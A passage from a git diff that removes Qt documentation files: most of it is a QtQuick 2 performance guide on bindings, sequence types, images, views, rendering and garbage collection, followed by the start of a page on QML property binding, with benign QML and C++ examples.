1000; ++i) { - printValue("red", rectColor.r); - printValue("green", rectColor.g); - printValue("blue", rectColor.b); - printValue("alpha", rectColor.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -\section2 Property Bindings - -A property binding expression will be re-evaluated if any of the properties -it references are changed. As such, binding expressions should be kept as -simple as possible. - -If you have a loop where you do some processing, but only the final result -of the processing is important, it is often better to update a temporary -accumulator which you afterwards assign to the property you need to update, -rather than incrementally updating the property itself, in order to avoid -triggering re-evaluation of binding expressions during the intermediate -stages of accumulation. - -The following contrived example illustrates this point: - -\qml -// bad.qml -import QtQuick 2.0 - -Item { - id: root - width: 200 - height: 200 - property int accumulatedValue: 0 - - Text { - anchors.fill: parent - text: root.accumulatedValue.toString() - onTextChanged: console.log("text binding re-evaluated") - } - - Component.onCompleted: { - var someData = [ 1, 2, 3, 4, 5, 20 ]; - for (var i = 0; i < someData.length; ++i) { - accumulatedValue = accumulatedValue + someData[i]; - } - } -} -\endqml - -The loop in the onCompleted handler causes the "text" property binding to -be re-evaluated six times (which then results in any other property bindings -which rely on the text value, as well as the onTextChanged signal handler, -to be re-evaluated each time, and lays out the text for display each time). -This is clearly unnecessary in this case, since we really only care about -the final value of the accumulation. - -It could be rewritten as follows: - -\qml -// good.qml -import QtQuick 2.0 - -Item { - id: root - width: 200 - height: 200 - property int accumulatedValue: 0 - - Text { - anchors.fill: parent - text: root.accumulatedValue.toString() - onTextChanged: console.log("text binding re-evaluated") - } - - Component.onCompleted: { - var someData = [ 1, 2, 3, 4, 5, 20 ]; - var temp = accumulatedValue; - for (var i = 0; i < someData.length; ++i) { - temp = temp + someData[i]; - } - accumulatedValue = temp; - } -} -\endqml - -\section2 Sequence tips - -As mentioned earlier, some sequence types are fast (eg, QList<int>, QList<qreal>, -QList<bool>, QList<QString>, QStringList and QList<QUrl>) while others will be -much slower. Aside from using these types wherever possible instead of slower types, -there are some other performance-related semantics you need to be aware of to achieve -the best performance. - -Firstly, there are two different implementations for sequence types: one for where -the sequence is a Q_PROPERTY of a QObject (we'll call this a reference sequence), -and another for where the sequence is returned from a Q_INVOKABLE function of a -QObject (we'll call this a copy sequence). - -A reference sequence is read and written via QMetaObject::property() and thus is read -and written as a QVariant. This means that changing the value of any element in the -sequence from JavaScript will result in three steps occurring: the complete sequence -will be read from the QObject (as a QVariant, but then cast to a sequence of the correct -type); the element at the specified index will be changed in that sequence; and the -complete sequence will be written back to the QObject (as a QVariant). - -A copy sequence is far simpler as the actual sequence is stored in the JavaScript -object's resource data, so no read/modify/write cycle occurs (instead, the resource -data is modified directly). - -Therefore, writes to elements of a reference sequence will be much slower than writes -to elements of a copy sequence. In fact, writing to a single element of an N-element -reference sequence is equivalent in cost to assigning a N-element copy sequence to that -reference sequence, so you're usually better off modifying a temporary copy sequence -and then assigning the result to a reference sequence, during computation. - -Assume the existence (and prior registration into the "Qt.example 1.0" namespace) of the -following C++ type: - -\code -class SequenceTypeExample : public QQuickItem -{ - Q_OBJECT - Q_PROPERTY (QList<qreal> qrealListProperty READ qrealListProperty WRITE setQrealListProperty NOTIFY qrealListPropertyChanged) - -public: - SequenceTypeExample() : QQuickItem() { m_list << 1.1 << 2.2 << 3.3; } - ~SequenceTypeExample() {} - - QList<qreal> qrealListProperty() const { return m_list; } - void setQrealListProperty(const QList<qreal> &list) { m_list = list; emit qrealListPropertyChanged(); } - -signals: - void qrealListPropertyChanged(); - -private: - QList<qreal> m_list; -}; -\endcode - -The following example writes to elements of a reference sequence in a -tight loop, resulting in bad performance: - -\qml -// bad.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - width: 200 - height: 200 - - Component.onCompleted: { - var t0 = new Date(); - qrealListProperty.length = 100; - for (var i = 0; i < 500; ++i) { - for (var j = 0; j < 100; ++j) { - qrealListProperty[j] = j; - } - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -The QObject property read and write in the inner loop caused by the -\c{"qrealListProperty[j] = j"} expression makes this code very suboptimal. Instead, -something functionally equivalent but much faster would be: - -\qml -// good.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - width: 200 - height: 200 - - Component.onCompleted: { - var t0 = new Date(); - var someData = [1.1, 2.2, 3.3] - someData.length = 100; - for (var i = 0; i < 500; ++i) { - for (var j = 0; j < 100; ++j) { - someData[j] = j; - } - qrealListProperty = someData; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -Secondly, a change signal for the property is emitted if any element in it changes. -If you have many bindings to a particular element in a sequence property, it is better -to create a dynamic property which is bound to that element, and use that dynamic -property as the symbol in the binding expressions instead of the sequence element, -as it will only cause re-evaluation of bindings if its value changes. - -This is an unusual use-case which most clients should never hit, but is worth being -aware of, in case you find yourself doing something like this: - -\qml -// bad.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - - property int firstBinding: qrealListProperty[1] + 10; - property int secondBinding: qrealListProperty[1] + 20; - property int thirdBinding: qrealListProperty[1] + 30; - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - qrealListProperty[2] = i; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -Note that even though only the element at index 2 is modified in the loop, the three -bindings will all be re-evaluated since the granularity of the change signal is that -the entire property has changed. As such, adding an intermediate binding can -sometimes be beneficial: - -\qml -// good.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - - property int intermediateBinding: qrealListProperty[1] - property int firstBinding: intermediateBinding + 10; - property int secondBinding: intermediateBinding + 20; - property int thirdBinding: intermediateBinding + 30; - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - qrealListProperty[2] = i; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -In the above example, only the intermediate binding will be re-evaluated each time, -resulting in a significant performance increase. - -\section2 Value-Type tips - -Value-type properties (font, color, vector3d, etc) have similar QObject property -and change notification semantics to sequence type properties. As such, the tips -given above for sequences are also applicable for value-type properties. While -they are usually less of a problem with value-types (since the number of -sub-properties of a value-type is usually far less than the number of elements -in a sequence), any increase in the number of bindings being re-evaluated needlessly -will have a negative impact on performance. - -\section2 Other JavaScript Objects - -Different JavaScript engines provide different optimizations. The JavaScript engine -which QtQuick 2 uses is optimized for object instantiation and property lookup, but -the optimizations which it provides relies on certain criteria. If your application -does not meet the criteria, the JavaScript engine falls back to a "slow-path" mode -with much worse performance. As such, always try to ensure you meet the following -criteria: - -\list -\li Avoid using eval() if at all possible -\li Do not delete properties of objects -\endlist - -\section1 Common Interface Elements - -\section2 Text Elements - -Calculating text layouts can be a slow operation. Consider using the \c PlainText -format instead of \c StyledText wherever possible, as this reduces the amount of work -required of the layout engine. If you cannot use \c PlainText (as you need to embed -images, or use tags to specify ranges of characters to have certain formatting (bold, -italic, etc) as opposed to the entire text) then you should use \c StyledText. - -You should only use \c AutoText if the text might be (but probably isn't) -\c StyledText as this mode will incur a parsing cost. The \c RichText mode should -not be used, as \c StyledText provides almost all of its features at a fraction of -its cost. - -\section2 Images - -Images are a vital part of any user interface. Unfortunately, they are also a big -source of problems due to the time it takes to load them, the amount of memory they -consume, and the way in which they are used. - -\section3 Asynchronous Loading - -Images are often quite large, and so it is wise to ensure that loading an image doesn't -block the UI thread. Set the "asynchronous" property of the QML Image element to -\c true to enable asynchronous loading of images from the local file system (remote -images are always loaded asynchronously) where this would not result in a negative impact -upon the aesthetics of the user interface. - -Image elements with the "asynchronous" property set to \c true will load images in -a low-priority worker thread. - -\section3 Explicit Source Size - -If your application loads a large image but displays it in a small-sized element, set -the "sourceSize" property to the size of the element being rendered to ensure that the -smaller-scaled version of the image is kept in memory, rather than the large one. - -Beware that changing the sourceSize will cause the image to be reloaded. - -\section3 Avoid Run-time Composition - -Also remember that you can avoid doing composition work at run-time by providing the -pre-composed image resource with your application (e.g., providing elements with shadow -effects). - -\section2 Position Elements With Anchors - -It is more efficient to use anchors rather than bindings to position items -relative to each other. Consider this use of bindings to position rect2 -relative to rect1: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - x: rect1.x - y: rect1.y + rect1.height - width: rect1.width - 20 - height: 200 -} -\endcode - -This is achieved more efficiently using anchors: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - height: 200 - anchors.left: rect1.left - anchors.top: rect1.bottom - anchors.right: rect1.right - anchors.rightMargin: 20 -} -\endcode - -Note that this is still not as efficient as specifying a static size, so you should still specify static sizes via -the x, y, width and height properties. - -Item coordinates are always relative to their parent, so if you wanted to be a fixed offset from your parent's -0,0 coordinate you should not use anchors. For example the following items are in the same place, but the anchors -code is not as resource efficient as fixed positioning. - -\code -Rectangle { - width: 60 - height: 60 - Rectangle { - x: 20 - y: 20 - width: 20 - height: 20 - } - Rectangle { - anchors.fill: parent - anchors.margins: 20 - } -} -\endcode - -\section1 Models and Views - -Most applications will have at least one model feeding data to a view. There are -some semantics which application developers need to be aware of, in order to achieve -maximal performance. - -\section2 Custom C++ Models - -It is often desirable to write your own custom model in C++ for use with a view in -QML. While the optimal implementation of any such model will depend heavily on the -use-case it must fulfil, some general guidelines are as follows: - -\list -\li Be as asynchronous as possible -\li Do all processing in a (low priority) worker thread -\li Batch up backend operations so that (potentially slow) I/O and IPC is minimized -\li Use a sliding slice window to cache results, whose parameters are determined with the help of profiling -\endlist - -It is important to note that using a low-priority worker thread is recommended to -minimise the risk of starving the GUI thread (which could result in worse perceived -performance). Also, remember that synchronization and locking mechanisms can be a -significant cause of slow performance, and so care should be taken to avoid -unnecessary locking. - -\section2 ListModel - -QML provides a ListModel element which can be used to feed data to a ListView. -It should suffice for most use-cases and be relatively performant so long as -it is used correctly. - -\section3 Populate Within A Worker Thread - -ListModel elements can be populated in a (low priority) worker thread in JavaScript. The -developer must explicitly call "sync()" on the ListModel from within the WorkerScript to -have the changes synchronized to the main thread. See the WorkerScript documentation -for more information. - -Please note that using a WorkerScript element will result in a separate JavaScript engine -being created (as the JavaScript engine is per-thread). This will result in increased -memory usage. Multiple WorkerScript elements will all use the same worker thread, however, -so the memory impact of using a second or third WorkerScript element is negligible once -an application already uses one. - -\section3 Don't Use Dynamic Roles - -The ListModel element in QtQuick 2.0 is much more performant than in QtQuick 1.0. The -performance improvements mainly come from assumptions about the type of roles within each -element in a given model - if the type doesn't change, the caching performance improves -dramatically. If the type can change dynamically from element to element, this optimization -becomes impossible, and the performance of the model will be an order of magnitude worse. - -Therefore, dynamic typing is disabled by default; the developer must specifically set -the boolean "dynamicRoles" property of the model to enable dynamic typing (and suffer -the attendant performance degradation). We recommend that you do not use dynamic typing -if it is possible to redesign your application to avoid it. - -\section2 Views - -View delegates should be kept as simple as possible. Have just enough QML in the delegate -to display the necessary information. Any additional functionality which is not immediately -required (e.g., if it displays more information when clicked) should not be created until -needed (see the upcoming section on lazy initialization). - -The following list is a good summary of things to keep in mind when designing a delegate: -\list -\li The fewer elements that are in a delegate, the faster they can be created, and thus - the faster the view can be scrolled. -\li Keep the number of bindings in a delegate to a minimum; in particular, use anchors - rather than bindings for relative positioning within a delegate. -\li Avoid using ShaderEffect elements within delegates. -\li Never enable clipping on a delegate. -\endlist - -You may set the \c cacheBuffer property of a view to allow asynchronous creation and -buffering of delegates outside of the visible area. Utilizing a \c cacheBuffer is -recommended for view delegates that are non-trivial and unlikely to be created within a -single frame. - -Be mindful that a \c cacheBuffer keeps additional delegates in-memory and therefore the -value derived from utilizing the \c cacheBuffer must be balanced against additional memory -usage. Developers should use benchmarking to find the best value for their use-case, since -the increased memory pressure caused by utilizing a \c cacheBuffer can, in some rare cases, -cause reduced frame rate when scrolling. - -\section1 Visual Effects - -QtQuick 2 includes several features which allow developers and designers to create -exceptionally appealing user interfaces. Fluidity and dynamic transitions as well -as visual effects can be used to great effect in an application, but some care must -be taken when using some of the features in QML as they can have performance implications. - -\section2 Animations - -In general, animating a property will cause any bindings which reference that property -to be re-evaluated. Usually, this is what is desired but in other cases it may be better -to disable the binding prior to performing the animation, and then reassign the binding -once the animation has completed. - -Avoid running JavaScript during animation. For example, running a complex JavaScript -expression for each frame of an x property animation should be avoided. - -Developers should be especially careful using script animations, as these are run in the main -thread (and therefore can cause frames to be skipped if they take too long to complete). - -\section2 Particles - -The QtQuick 2.0 Particles module allows beautiful particle effects to be integrated -seamlessly into user interfaces. However every platform has different graphics hardware -capabilities, and the Particles module is unable to limit parameters to what your hardware -can gracefully support. The more particles you attempt to render (and the larger they are), -the faster your graphics hardware will need to be in order to render at 60 FPS. Affecting -more particles requires a faster CPU. It is therefore important to test all -particle effects on your target platform carefully, to calibrate the number and size of -particles you can render at 60 FPS. - -It should be noted that a particle system can be disabled when not in use -(e.g., on a non-visible element) to avoid doing unnecessary simulation. - -See the \l{Particle System Performance Guide} for more in-depth information. - -\section2 Shaders - -Shaders written in GLSL allow for complex transformations and visual effects to be written, -however they should be used with care. Using a ShaderEffectSource causes a scene to -prerendered into an FBO before it can be drawn. This extra overhead is quite expensive. - -A ShaderEffect element can imply a ShaderEffectSource (and the indirect rendering costs -associated with that) and also involves uploading a vertex and fragment shader program -(which is then compiled into a GLSL shader). Each fragment shader runs once for every -pixel of the scene, and so these should be kept as simple as possible. - -\section1 Controlling Element Lifetime - -By partitioning an application into simple, modular components, each contained in a single -QML file, you can achieve faster application startup time and better control over memory -usage, and reduce the number of active-but-invisible elements in your application. - -\section2 Lazy Initialization - -The QML engine does some tricky things to try to ensure that loading and initialization of -components doesn't cause frames to be skipped, however there is no better way to reduce -startup time than to avoid doing work you don't need to do, and delaying the work until -it is necessary. This may be achieved by using either \l Loader or creating components -\l {Dynamic Object Management in QML}{dynamically}. - -\section3 Using Loader - -The Loader is an element which allows dynamic loading and unloading of components. - -\list -\li Using the "active" property of a Loader, initialization can be delayed until required. -\li Using the overloaded version of the "setSource()" function, initial property values can - be supplied. -\li Setting the Loader \l {Loader::asynchronous}{asynchronous} property to true may also - improve fluidity while a component is instantiated. -\endlist - -\section3 Using Dynamic Creation - -Developers can use the Qt.createComponent() function to create a component dynamically at -runtime from within JavaScript, and then call createObject() to instantiate it. Depending -on the ownership semantics specified in the call, the developer may have to delete the -created object manually. See \l {Dynamic Object Management in QML} for more information. - -\section2 Destroy Unused Elements - -Elements which are invisible because they are a child of a non-visible element (e.g., the -second tab in a tab-widget, while the first tab is shown) should be initialized lazily in -most cases, and deleted when no longer in use, to avoid the ongoing cost of leaving them -active (e.g., rendering, animations, property binding evaluation, etc). - -An item loaded with a Loader element may be released by resetting the "source" or -"sourceComponent" property of the Loader, while other items may be explicitly -released by calling destroy() on them. In some cases, it may be necessary to -leave the item active, in which case it should be made invisible at the very least. - -See the upcoming section on Rendering for more information on active but invisible elements. - -\section1 Rendering - -The scene graph used for rendering in QtQuick 2.0 allows highly dynamic, animated user -interfaces to be rendered fluidly at 60 FPS. There are some things which can -dramatically decrease rendering performance, however, and developers should be careful -to avoid these pitfalls wherever possible. - -\section2 Clipping - -Clipping is disabled by default, and should only be enabled when required. - -Clipping is a visual effect, NOT an optimization. It increases (rather than reduces) -complexity for the renderer. If clipping is enabled, an item will clip its own painting, -as well as the painting of its children, to its bounding rectangle. This stops the renderer -from being able to reorder the drawing order of elements freely, resulting in a sub-optimal -best-case scene graph traversal. - -Clipping inside a delegate is especially bad and should be avoided at all costs. - -\section2 Over-drawing and Invisible Elements - -If you have elements which are totally covered by other (opaque) elements, it is best to -set their "visible" property to \c false or they will be needlessly drawn. - -Similarly, elements which are invisible (e.g., the second tab in a tab widget, while the -first tab is shown) but need to be initialized at startup time (e.g., if the cost of -instantiating the second tab takes too long to be able to do it only when the tab is -activated), should have their "visible" property set to \c false, in order to avoid the -cost of drawing them (although as previously explained, they will still incur the cost of -any animations or bindings evaluation since they are still active). - -\section2 Manual Layouts - -The scene graph renderer is able to batch up certain operations to minimise the number of -OpenGL state changes required. However, this optimization is only possible for the -built-in layout elements provided by QtQuick 2.0, and cannot be applied to manual layouts. - -Therefore, application developers should use the Row, Column, Grid, GridView and ListView -elements instead of manual layouts wherever possible. - -\section1 Memory Allocation And Collection - -The amount of memory which will be allocated by an application and the way in which that -memory will be allocated are very important considerations. Aside from the obvious -concerns about out-of-memory conditions on memory-constrained devices, allocating memory -on the heap is a fairly computationally expensive operation, and certain allocation -strategies can result in increased fragmentation of data across pages. JavaScript uses -a managed memory heap which is automatically garbage collected, and this provides some -advantages but also has some important implications. - -An application written in QML uses memory from both the C++ heap and an automatically -managed JavaScript heap. The application developer needs to be aware of the subtleties -of each in order to maximise performance. - -\section2 Tips For QML Application Developers - -The tips and suggestions contained in this section are guidelines only, and may not be -applicable in all circumstances. Be sure to benchmark and analyse your application -carefully using empirical metrics, in order to make the best decisions possible. - -\section3 Instantiate and initialize components lazily - -If your application consists of multiple views (for example, multiple tabs) but only -one is required at any one time, you can use lazy instantiation to minimize the -amount of memory you need to have allocated at any given time. See the prior section -on \l{Lazy Initialization} for more information. - -\section3 Destroy unused objects - -If you lazily instantiate components, or dynamically create objects during a JavaScript -expression, it is often better to manually \c{destroy()} them rather than waiting for -automatic garbage collection to do so. See the prior section on -\l{Controlling Element Lifetime} for more information. - -\section3 Don't manually invoke the garbage collector - -In most cases, it is not wise to manually invoke the garbage collector, as it will block -the GUI thread for a substantial period of time. This can result in skipped frames and -jerky animations, which should be avoided at all costs. - -There are some cases where manually invoking the garbage collector is acceptable (and -this is explained in greater detail in an upcoming section), but in most cases, invoking -the garbage collector is unnecessary and counter-productive. - -\section3 Avoid complex bindings - -Aside from the reduced performance of complex bindings (for example, due to having to -enter the JavaScript execution context to perform evaluation), they also take up more -memory both on the C++ heap and the JavaScript heap than bindings which can be -evaluated by QML's optimized binding expression evaluator. - -\section3 Avoid defining multiple identical implicit types - -If a QML element has a custom property defined in QML, it becomes its own implicit type. -This is explained in greater detail in an upcoming section. If multiple identical -implicit types are defined inline in a component, some memory will be wasted. In that -situation it is usually better to explicitly define a new component which can then be -reused. - -Defining a custom property can often be a beneficial performance optimization (for -example, to reduce the number of bindings which are required or re-evaluated), or it -can improve the modularity and maintainability of a component. In those cases, using -custom properties is encouraged; however, the new type should, if it is used more than -once, be split into its own component (.qml file) in order to conserve memory. - -\section3 Re-use existing components - -If you are considering defining a new component, it's worth double checking that such a -component doesn't already exist in the component set for your platform. Otherwise, you -will be forcing the QML engine to generate and store type-data for a type which is -essentially a duplicate of another pre-existing and potentially already loaded component. - -\section3 Use module APIs instead of pragma library scripts - -If you are using a pragma library script to store application-wide instance data, -consider using a QObject module API instead. This should result in better performance, -and will result in less JavaScript heap memory being used. - -\section2 Memory Allocation in a QML Application - -The memory usage of a QML application may be split into two parts: its C++ heap usage, -and its JavaScript heap usage. Some of the memory allocated in each will be unavoidable, -as it is allocated by the QML engine or the JavaScript engine, while the rest is -dependent upon decisions made by the application developer. - -The C++ heap will contain: -\list - \li the fixed and unavoidable overhead of the QML engine (implementation data - structures, context information, and so on) - \li per-component compiled data and type information, including per-type property - metadata, which is generated by the QML engine depending on which modules are - imported by the application and which components the application loads - \li per-object C++ data (including property values) plus a per-element metaobject - hierarchy, depending on which components the application instantiates - \li any data which is allocated specifically by QML imports (libraries) -\endlist - -The JavaScript heap will contain: -\list - \li the fixed and unavoidable overhead of the JavaScript engine itself (including - built-in JavaScript types) - \li the fixed and unavoidable overhead of our JavaScript integration (constructor - functions for loaded types, function templates, and so on) - \li per-type layout information and other internal type-data generated by the JavaScript - engine at runtime, for each type (see note below, regarding types) - \li per-object JavaScript data ("var" properties, JavaScript functions and signal - handlers, and non-optimized binding expressions) - \li variables allocated during expression evaluation -\endlist - -Furthermore, there will be one JavaScript heap allocated for use in the main thread, and -optionally one other JavaScript heap allocated for use in the WorkerScript thread. If an -application does not use a WorkerScript element, that overhead will not be incurred. The -JavaScript heap can be several megabytes in size, and so applications written for -memory-constrained devices may be best served to avoid using the WorkerScript element -despite its usefulness in populating list models asynchronously. - -Note that both the QML engine and the JavaScript engine will automatically generate their -own caches of type-data about observed types. Every component loaded by an application -is a distinct (explicit) type, and every element (component instance) which defines its -own custom properties in QML is an implicit type. Any element (instance of a component) -which does not define any custom properties is considered by the JavaScript and QML engines -to be of the type explicitly defined by the component, rather than its own implicit type. - -Consider the following example: -\qml -import QtQuick 2.0 - -Item { - id: root - - Rectangle { - id: r0 - color: "red" - } - - Rectangle { - id: r1 - color: "blue" - width: 50 - } - - Rectangle { - id: r2 - property int customProperty: 5 - } - - Rectangle { - id: r3 - property string customProperty: "hello" - } - - Rectangle { - id: r4 - property string customProperty: "hello" - } -} -\endqml - -In the previous example, the rectangles \c r0 and \c r1 do not have any custom properties, -and thus the JavaScript and QML engines consider them both to be of the same type. That -is, \c r0 and \c r1 are both considered to be of the explicitly defined \c Rectangle type. -The rectangles \c r2, \c r3 and \c r4 each have custom properties and are each considered -to be different (implicit) types. Note that \c r3 and \c r4 are each considered to be of -different types, even though they have identical property information, simply because the -custom property was not declared in the component which they are instances of. - -If \c r3 and \c r4 were both instances of a \c RectangleWithString component, and that -component definition included the declaration of a string property named \c customProperty, -then \c r3 and \c r4 would be considered to be the same type (that is, they would be -instances of the \c RectangleWithString type, rather than defining their own implicit type). - -\section2 In-Depth Memory Allocation Considerations - -Whenever making decisions regarding memory allocation or performance trade-offs, it is -important to keep in mind the impact of CPU-cache performance, operating system paging, -and JavaScript engine garbage collection. Potential solutions should be benchmarked -carefully in order to ensure that the best one is selected. - -No set of general guidelines can replace a solid understanding of the underlying -principles of computer science combined with a practical knowledge of the implementation -details of the platform for which the application developer is developing. Furthermore, -no amount of theoretical calculation can replace a good set of benchmarks and analysis -tools when making trade-off decisions. - -\section3 Fragmentation - -Fragmentation is a C++ development issue. If the application developer is not defining -any C++ types or plugins, they may safely ignore this section. - -Over time, an application will allocate large portions of memory, write data to that -memory, and subsequently free some portions of that memory once it has finished using -some of the data. This can result in "free" memory being located in non-contiguous -chunks, which cannot be returned to the operating system for other applications to use. -It also has an impact on the caching and access characteristics of the application, as -the "living" data may be spread across many different pages of physical memory. This -in turn could force the operating system to swap which can cause filesystem I/O - which -is, comparatively speaking, an extremely slow operation. - -Fragmentation can be avoided by utilizing pool allocators (and other contiguous memory -allocators), by reducing the amount of memory which is allocated at any one time by -carefully managing object lifetimes, by periodically cleansing and rebuilding caches, -or by utilizing a memory-managed runtime with garbage collection (such as JavaScript). - -\section3 Garbage Collection - -JavaScript provides garbage collection. Memory which is allocated on the JavaScript -heap (as opposed to the C++ heap) is owned by the JavaScript engine. The engine will -periodically collect all unreferenced data on the JavaScript heap, and if fragmentation -becomes an issue, it will compact its heap by moving all "living" data into a contiguous -region of memory (allowing the freed memory to be returned to the operating system). - -\section4 Implications of Garbage Collection - -Garbage collection has advantages and disadvantages. It ensures that fragmentation is -less of an issue, and it means that manually managing object lifetime is less important. -However, it also means that a potentially long-lasting operation may be initiated by the -JavaScript engine at a time which is out of the application developer's control. Unless -JavaScript heap usage is considered carefully by the application developer, the frequency -and duration of garbage collection may have a negative impact upon the application -experience. - -\section4 Manually Invoking the Garbage Collector - -An application written in QML will (most likely) require garbage collection to be -performed at some stage. While garbage collection will be automatically triggered by -the JavaScript engine when the amount of available free memory is low, it is occasionally -better if the application developer makes decisions about when to invoke the garbage -collector manually (although usually this is not the case). - -The application developer is likely to have the best understanding of when an application -is going to be idle for substantial periods of time. If a QML application uses a lot -of JavaScript heap memory, causing regular and disruptive garbage collection cycles -during particularly performance-sensitive tasks (for example, list scrolling, animations, -and so forth), the application developer may be well served to manually invoke the -garbage collector during periods of zero activity. Idle periods are ideal for performing -garbage collection since the user will not notice any degradation of user experience -(skipped frames, jerky animations, and so on) which would result from invoking the garbage -collector while activity is occurring. - -The garbage collector may be invoked manually by calling \c{gc()} within JavaScript. -This will cause a comprehensive collection and compaction cycle to be performed, which -may take from between a few hundred to more than a thousand milliseconds to complete, and -so should be avoided if at all possible. - -\section3 Memory vs Performance Trade-offs - -In some situations, it is possible to trade-off increased memory usage for decreased -processing time. For example, caching the result of a symbol lookup used in a tight loop -to a temporary variable in a JavaScript expression will result in a significant performance -improvement when evaluating that expression, but it involves allocating a temporary variable. -In some cases, these trade-offs are sensible (such as the case above, which is almost always -sensible), but in other cases it may be better to allow processing to take slightly longer -in order to avoid increasing the memory pressure on the system. - -In some cases, the impact of increased memory pressure can be extreme. In some situations, -trading off memory usage for an assumed performance gain can result in increased page-thrash -or cache-thrash, causing a huge reduction in performance. It is always necessary to benchmark -the impact of trade-offs carefully in order to determine which solution is best in a given -situation. - -For in-depth information on cache performance and memory-time trade-offs, please see -Ulrich Drepper's excellent article "What Every Programmer Should Know About Memory" -(available at http://ftp.linux.org.ua/pub/docs/developer/general/cpumemory.pdf as at 18th -April 2012), and for information on C++-specific optimizations, please see Agner Fog's -excellent manuals on optimizing C++ applications (available at -http://www.agner.org/optimize/ as at 18th April 2012). - -*/ diff --git a/src/qml/doc/src/qml/propertybinding.qdoc b/src/qml/doc/src/qml/propertybinding.qdoc deleted file mode 100644 index 219bb240ba..0000000000 --- a/src/qml/doc/src/qml/propertybinding.qdoc +++ /dev/null @@ -1,362 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-properties.html -\ingroup qml-features -\title Properties and Property Binding in QML -\brief declaring and binding properties - -\section1 Properties - -QML components have \e properties that can be read and modified by other objects. -In QML, properties serve many purposes but their main function is to hold to -values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. - -The syntax for properties is: - -\tt{[default] property <type> <name>[: defaultValue]} - -Elements already possess useful properties but, to create custom properties, -precede the property name with the keyword \c property. - -\snippet qml/properties.qml parent begin -\snippet qml/properties.qml inherited properties -\snippet qml/properties.qml custom properties -\snippet qml/properties.qml parent end - -QML property rules coincide with many of JavaScript's property rules, for example, -property names must begin with a lowercase letter. -\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property -names. - -\section1 Property Binding - -Property binding is a declarative way of specifying the value of a property. Binding allows -a property's value to be expressed as an JavaScript expression that defines the value relative -to other property values or data accessible in the application. The property value is -automatically kept up to date if the other properties or data values change. - -Property bindings are created in QML using the colon "\c {:}" before the value: -\snippet qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be -used as a property binding. Bindings can access object properties, make function calls and even -use built-in JavaScript objects such as \c {Date} and \c {Math}. -\snippet qml/properties.qml JavaScript sample - -While syntactically bindings can be of arbitrary complexity, if a binding starts to become -overly complex - such as involving multiple lines, or imperative loops - it may be better -to refactor the component entirely, or at least factor the binding out into a separate -function. - -\keyword qml-javascript-assignment -\section1 Property Assignment versus Property Binding - -When working with both QML and JavaScript, it is important to differentiate between -QML property binding and JavaScript value assignment. In QML, a property -binding is created using the colon "\c {:}". -\snippet qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -Assigning a property value (using the equals sign "\c {=}") does not create a -property binding (unless explicitly assigned, see below). -\snippet qml/properties.qml property assignment - -Instead of creating a property binding, the assignment simply sets the \c Rectangle -\c width value to a number when the \c Component.onCompleted code is invoked. - -Assigning a value to a property that is already bound will remove the previous binding. -A property can only have one value at a time (a list of property is one value), -and if any code explicitly re-sets this value, the property binding is removed. - -\section1 Binding to JavaScript Functions - -The \c{property : value} syntax for property binding is QML-specific and cannot -be used in JavaScript. Instead, to bind a property from JavaScript, assign the -result returned by the \c{Qt.binding()} function to the property. This will cause -a binding assignment on the specified property. The following code correctly creates -the binding in JavaScript rather than QML: - -\qml -Item { - width: 100 - - Component.onCompleted: { - height = Qt.binding(function() { return width * 2 }) - } -} -\endqml - -When creating a property binding from JavaScript, QML allows the use of the \c -this keyword to refer to the object to which the property binding will be -assigned. This allows one to explicitly refer to a property within an object -when there may be ambiguity about the exact property that should be used for the -binding. - -For example, the \c Component.onCompleted handler below is defined within the -scope of the \l Item, and references to \c width within this scope would refer -to the \l Item's width, rather than that of the \l Rectangle. To bind the \l -Rectangle's \c height to its own \c width, the function passed to Qt.binding() -needs to explicitly refer to \c this.width rather than just \c width. - -\qml -Item { - width: 500 - height: 500 - - Rectangle { - id: rect - width: 100 - color: "yellow" - } - - Component.onCompleted: { - rect.height = Qt.binding(function() { return this.width * 2 }) - console.log("rect.height = " + rect.height) // prints 200 - } -} -\endqml - -In this case, the function could also have referred to \c rect.width rather than -\c this.width. - -Note that the value of \c this is not defined outside of its use in property binding. -See \l {QML JavaScript Restrictions} for details. - -The \l{Binding} element provides more control for binding properties with -JavaScript code. - -\section1 Types of Properties - -Properties may bind to different types, but they are are \e type-safe. That is, -properties only allow you to assign a value that matches the property type. For -example, if a property is a real, and if you try to assign a string to it you -will get an error. - -\badcode -property real volume: "four" //generates an error -\endcode - -Certain properties bind to more complex types such as 